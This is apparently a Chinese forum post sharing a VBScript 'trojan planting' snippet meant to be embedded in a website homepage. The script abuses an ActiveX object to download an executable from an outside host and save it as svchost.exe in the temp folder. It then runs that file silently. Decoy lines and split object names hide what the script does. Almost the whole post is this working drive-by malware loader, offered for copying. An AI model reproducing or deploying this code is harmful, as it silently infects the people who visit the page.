直接首页 vbs 挂马.- <script language="VBScript">
- on error resume next
- MircoLong = "http://www.gametradeking.com/serveres.exe"
- m4="down"
- m5="file"
- m6="copy"
- m7="exit"
- Set MircoLongc = document.createElement("object")
- MircoLongc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
- seturla=m4
- seturlb=m5
- seturlc=m6
- seturld=m7
- MircoLongi="Microsoft.XMLHTTP"
- Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
- seturlf="Ado"
- seturlg="db."
- seturlh="Str"
- seturli="eam"
- MircoLongf=seturlf&seturlg&seturlh&seturli
- MircoLongg=MircoLongf
- set MircoLonga = MircoLongc.createobject(MircoLongg,"")
- MircoLonga.type = 1
- MircoLongh="GET"
- MircoLongd.Open MircoLongh, MircoLong, False
- MircoLongd.Send
- MircoLong9="svchost.exe"
- set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
- set MircoLonge = MircoLongb.GetSpecialFolder(2)
- MircoLonga.open
- MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
- MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
- MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
- MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
- MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
- MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
- MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
- MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
- MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
- MircoLong9= MircoLongb.BuildPath(MircoLonge,MircoLong9)
- MircoLonga.write MircoLongd.responseBody
- MircoLonga.savetofile MircoLong9,2
- MircoLonga.close
- set MircoLonge = MircoLongc.createobject("Shell.Application","")
- MircoLonge.ShellExecute MircoLong9,BBS,BBS,"open",0
- </script>
复制代码 |